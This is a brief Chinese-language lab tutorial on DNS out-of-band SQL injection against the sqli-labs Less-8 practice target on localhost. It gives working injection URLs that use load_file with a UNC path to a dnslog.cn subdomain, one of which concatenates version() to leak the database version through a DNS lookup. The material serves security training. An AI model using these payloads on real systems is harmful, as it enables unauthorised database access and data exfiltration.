sql注入——dns的带外注入
以sql labs8为例
1.搜索dns.log在线软件，并get一个域名
2.在cmd中ping该域名，发现解析成功
3.在sql labs8中输入http://localhost/sqli-labs-master/Less-8/?id=1' and load_file("\\\\sss.cipv66.dnslog.cn\\xxx.txt") -- -，并执行
4.在dnslog上刷新查询，就可以看到sss就可以请求到了
5.在语句中修改为http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",version(),".cipv66.dnslog.cn\\xxx.txt") )-- -，即可查到版本信息如下：